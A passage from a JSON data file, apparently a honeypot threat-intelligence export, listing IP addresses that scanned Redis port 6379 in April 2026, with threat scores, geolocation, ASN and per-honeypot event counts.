        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 51.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:13:12.085000+00:00",
        "last_seen_30d": "2026-04-29T05:40:20.656000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10
      }
    },
    "88.202.190.132": {
      "attack_count": 4,
      "first_seen": "2026-04-03T11:11:49.000Z",
      "last_seen": "2026-04-03T11:12:57.022Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 13213,
      "as_org": "Thg Hosting Limited",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 4.8,
        "persistence": 23.3,
        "diversity": 6,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 28,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T11:12:57.022000+00:00",
        "last_seen_30d": "2026-04-30T18:05:09.120000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "130.94.115.133": {
      "attack_count": 370,
      "first_seen": "2026-04-13T07:26:49.000Z",
      "last_seen": "2026-04-28T08:14:23.861Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 154177,
      "as_org": "LIGHT NODE LIMITED",
      "threat_score": 45.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.1,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T07:26:50+00:00",
        "last_seen_30d": "2026-04-28T08:14:23.861000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 172,
        "Suricata": 32
      }
    },
    "3.134.216.108": {
      "attack_count": 359,
      "first_seen": "2026-04-13T03:33:08.000Z",
      "last_seen": "2026-04-29T02:58:51.769Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5684,
        "days_active_30d": 30,
        "ports_targeted_30d": 148,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-04-01T18:01:54+00:00",
        "last_seen_30d": "2026-04-30T17:32:08.359000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3679,
        "Honeytrap": 1513,
        "Dionaea": 126,
        "Cowrie": 119,
        "Redishoneypot": 95,
        "Mailoney": 82,
        "ConPot": 48,
        "Ipphoney": 7,
        "ElasticPot": 6,
        "Tanner": 6,
        "Ciscoasa": 2,
        "H0neytr4p": 1
      }
    },
    "3.130.168.2": {
      "attack_count": 355,
      "first_seen": "2026-04-01T03:02:24.000Z",
      "last_seen": "2026-04-22T02:13:44.849Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10238,
        "days_active_30d": 30,
        "ports_targeted_30d": 177,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T03:02:24+00:00",
        "last_seen_30d": "2026-04-30T15:18:29.802000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6609,
        "Honeytrap": 3101,
        "Cowrie": 128,
        "Dionaea": 119,
        "Redishoneypot": 94,
        "ConPot": 92,
        "Mailoney": 47,
        "ElasticPot": 16,
        "Tanner": 10,
        "Ipphoney": 6,
        "H0neytr4p": 5,
        "CitrixHoneypot": 4,
        "Honeyaml": 4,
        "Ciscoasa": 3
      }
    },
    "122.191.115.237": {
      "attack_count": 224,
      "first_seen": "2026-04-03T13:29:07.000Z",
      "last_seen": "2026-04-29T22:13:59.043Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.7,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T13:29:07+00:00",
        "last_seen_30d": "2026-04-29T22:13:59.043000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Redishoneypot": 18
      }
    },
    "97.74.92.144": {
      "attack_count": 149,
      "first_seen": "2026-04-02T16:20:21.000Z",
      "last_seen": "2026-04-29T16:23:00.441Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.1,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T16:20:21+00:00",
        "last_seen_30d": "2026-04-29T16:23:00.441000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 48,
        "Suricata": 16
      }
    },
    "3.132.26.232": {
      "attack_count": 138,
      "first_seen": "2026-04-04T02:58:32.000Z",
      "last_seen": "2026-04-11T03:48:53.767Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6260,
        "days_active_30d": 30,
        "ports_targeted_30d": 161,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T15:43:04+00:00",
        "last_seen_30d": "2026-04-30T16:44:04.772000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4112,
        "Honeytrap": 1730,
        "Dionaea": 138,
        "Cowrie": 107,
        "Mailoney": 76,
        "Redishoneypot": 37,
        "ConPot": 16,
        "Honeyaml": 14,
        "Ipphoney": 11,
        "H0neytr4p": 8,
        "Ciscoasa": 6,
        "ElasticPot": 2,
        "Tanner": 2,
        "CitrixHoneypot": 1
      }
    },
    "176.32.193.16": {
      "attack_count": 99,
      "first_seen": "2026-04-03T13:16:50.000Z",
      "last_seen": "2026-04-28T13:10:44.392Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 197834,
      "as_org": "Ucom CJSC",
      "threat_score": 99.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 29.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 923,
        "days_active_30d": 30,
        "ports_targeted_30d": 100,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T17:05:32.155000+00:00",
        "last_seen_30d": "2026-04-30T06:01:18.987000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 676,
        "Honeytrap": 175,
        "Redishoneypot": 24,
        "Dionaea": 18,
        "Cowrie": 16,
        "ConPot": 6,
        "ElasticPot": 2,
        "Honeyaml": 2,
        "Mailoney": 2,
        "Tanner": 2
      }
    },
    "81.29.142.100": {
      "attack_count": 87,
      "first_seen": "2026-04-07T07:41:11.000Z",
      "last_seen": "2026-04-17T22:32:14.158Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 99.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5803,
        "days_active_30d": 29,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-02T19:11:55.041000+00:00",
        "last_seen_30d": "2026-04-30T16:58:41.636000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4019,
        "Honeytrap": 1500,
        "Dionaea": 69,
        "Miniprint": 66,
        "Tanner": 35,
        "Cowrie": 26,
        "Redishoneypot": 24,
        "H0neytr4p": 21,
        "Mailoney": 17,
        "Ipphoney": 16,
        "ElasticPot": 6,
        "Ciscoasa": 2,
        "ConPot": 2
      }
    },
    "106.12.184.7": {
      "attack_count": 78,
      "first_seen": "2026-04-03T16:10:07.000Z",
      "last_seen": "2026-04-29T22:43:53.800Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 59.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 4,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1019,
        "days_active_30d": 27,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T16:11:15.132000+00:00",
        "last_seen_30d": "2026-04-29T22:43:53.800000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1019
      }
    },
    "94.102.49.155": {
      "attack_count": 75,
      "first_seen": "2026-04-01T11:33:00.000Z",
      "last_seen": "2026-04-23T06:56:12.682Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 28,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T10:33:33.004000+00:00",
        "last_seen_30d": "2026-04-28T03:02:16.418000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 178,
        "Honeytrap": 39,
        "Redishoneypot": 24,
        "Cowrie": 18,
        "ElasticPot": 14,
        "Dionaea": 12,
        "Honeyaml": 3
      }
    },
    "85.11.183.21": {
      "attack_count": 56,
      "first_seen": "2026-04-29T17:12:18.000Z",
      "last_seen": "2026-04-29T23:15:45.198Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1964,
        "days_active_30d": 30,
        "ports_targeted_30d": 293,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T03:37:43+00:00",
        "last_seen_30d": "2026-04-30T13:42:18.656000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1339,
        "Honeytrap": 591,
        "Redishoneypot": 12,
        "H0neytr4p": 6,
        "Adbhoney": 4,
        "CitrixHoneypot": 4,
        "Tanner": 3,
        "Ciscoasa": 2,
        "Dionaea": 2,
        "Honeyaml": 1
      }
    },
    "20.233.204.10": {
      "attack_count": 54,
      "first_seen": "2026-04-01T19:58:18.000Z",
      "last_seen": "2026-04-26T22:43:44.814Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T19:58:18+00:00",
        "last_seen_30d": "2026-04-26T22:43:44.814000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 18,
        "Suricata": 6
      }
    },
    "184.105.139.67": {
      "attack_count": 53,
      "first_seen": "2026-04-21T14:46:28.000Z",
      "last_seen": "2026-04-26T15:28:27.282Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T10:18:58+00:00",
        "last_seen_30d": "2026-04-30T14:01:05.356000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 182,
        "Honeytrap": 105,
        "Redishoneypot": 22,
        "Miniprint": 9,
        "ConPot": 4,
        "CitrixHoneypot": 3,
        "Cowrie": 3,
        "Tanner": 3,
        "Dionaea": 1
      }
    },
    "5.78.92.248": {
      "attack_count": 41,
      "first_seen": "2026-04-24T23:32:39.000Z",
      "last_seen": "2026-04-28T04:39:38.008Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 212317,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T23:32:39+00:00",
        "last_seen_30d": "2026-04-28T04:39:38.008000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 5
      }
    },
    "124.156.169.223": {
      "attack_count": 39,
      "first_seen": "2026-04-17T16:35:56.000Z",
      "last_seen": "2026-04-17T16:38:10.349Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T16:36:06+00:00",
        "last_seen_30d": "2026-04-17T16:38:10.349000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "47.94.133.162": {
      "attack_count": 39,
      "first_seen": "2026-04-17T02:51:59.000Z",
      "last_seen": "2026-04-17T02:54:23.990Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T02:52:09+00:00",
        "last_seen_30d": "2026-04-17T02:54:23.990000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "106.225.133.217": {
      "attack_count": 37,
      "first_seen": "2026-04-06T09:28:48.000Z",
      "last_seen": "2026-04-19T17:45:42.863Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134238,
      "as_org": "CHINANET Jiangx province IDC network",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T09:29:49.800000+00:00",
        "last_seen_30d": "2026-04-19T17:45:42.863000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7
      }
    },
    "183.6.4.31": {
      "attack_count": 36,
      "first_seen": "2026-04-03T06:37:49.000Z",
      "last_seen": "2026-04-28T18:02:58.825Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T06:38:56.245000+00:00",
        "last_seen_30d": "2026-04-28T18:02:58.825000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7
      }
    },
    "160.119.76.51": {
      "attack_count": 34,
      "first_seen": "2026-04-29T22:37:52.000Z",
      "last_seen": "2026-04-29T22:46:23.111Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 70.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 558,
        "days_active_30d": 1,
        "ports_targeted_30d": 147,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-29T22:20:07.423000+00:00",
        "last_seen_30d": "2026-04-29T22:56:36.289000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 461,
        "Dionaea": 26,
        "Miniprint": 15,
        "Cowrie": 13,
        "Redishoneypot": 8,
        "Ciscoasa": 6,
        "ConPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ipphoney": 5,
        "Tanner": 5,
        "Sentrypeer": 2,
        "ElasticPot": 1
      }
    },
    "180.76.52.82": {
      "attack_count": 33,
      "first_seen": "2026-04-07T04:49:51.000Z",
      "last_seen": "2026-04-29T22:46:25.090Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-07T04:50:56.206000+00:00",
        "last_seen_30d": "2026-04-29T22:46:25.090000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "113.209.196.69": {
      "attack_count": 32,
      "first_seen": "2026-04-04T02:43:02.000Z",
      "last_seen": "2026-04-18T08:52:19.634Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T02:43:03+00:00",
        "last_seen_30d": "2026-04-18T08:52:19.634000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 4
      }
    },
    "74.82.47.4": {
      "attack_count": 27,
      "first_seen": "2026-04-18T14:01:29.000Z",
      "last_seen": "2026-04-18T14:03:10.856Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 322,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T06:00:44+00:00",
        "last_seen_30d": "2026-04-30T13:08:12.224000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 196,
        "Honeytrap": 86,
        "Ciscoasa": 12,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "ConPot": 4,
        "CitrixHoneypot": 3,
        "Dionaea": 3,
        "Miniprint": 1
      }
    },
    "64.62.197.62": {
      "attack_count": 26,
      "first_seen": "2026-04-12T12:21:52.000Z",
      "last_seen": "2026-04-12T12:23:44.988Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T01:54:26+00:00",
        "last_seen_30d": "2026-04-30T13:46:07.598000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 172,
        "Honeytrap": 81,
        "Redishoneypot": 11,
        "H0neytr4p": 7,
        "Dionaea": 5,
        "Tanner": 5,
        "Adbhoney": 2
      }
    },
    "160.119.76.63": {
      "attack_count": 23,
      "first_seen": "2026-04-27T15:16:05.000Z",
      "last_seen": "2026-04-27T15:29:09.882Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 68.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1228,
        "days_active_30d": 1,
        "ports_targeted_30d": 129,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-27T14:52:03+00:00",
        "last_seen_30d": "2026-04-27T15:39:21.958000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 803,
        "Honeytrap": 341,
        "Dionaea": 25,
        "Miniprint": 15,
        "Ciscoasa": 6,
        "ConPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ipphoney": 5,
        "Redishoneypot": 5,
        "Tanner": 5,
        "Cowrie": 4,
        "Sentrypeer": 2,
        "ElasticPot": 1
      }
    },
    "20.65.192.33": {
      "attack_count": 23,
      "first_seen": "2026-04-21T15:56:47.000Z",
      "last_seen": "2026-04-21T15:58:44.623Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 36.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 5.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 6,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-20T14:08:30.968000+00:00",
        "last_seen_30d": "2026-04-25T21:53:08.650000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 6,
        "Redishoneypot": 5
      }
    },
    "20.65.194.128": {
      "attack_count": 23,
      "first_seen": "2026-04-01T15:16:42.000Z",
      "last_seen": "2026-04-01T15:19:05.848Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 60.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 22.5,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 27,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T15:17:48+00:00",
        "last_seen_30d": "2026-04-27T18:15:15.291000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 9,
        "Redishoneypot": 5
      }
    },
    "39.105.202.192": {
      "attack_count": 23,
      "first_seen": "2026-04-06T12:54:49.000Z",
      "last_seen": "2026-04-24T19:30:52.156Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 50.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 24,
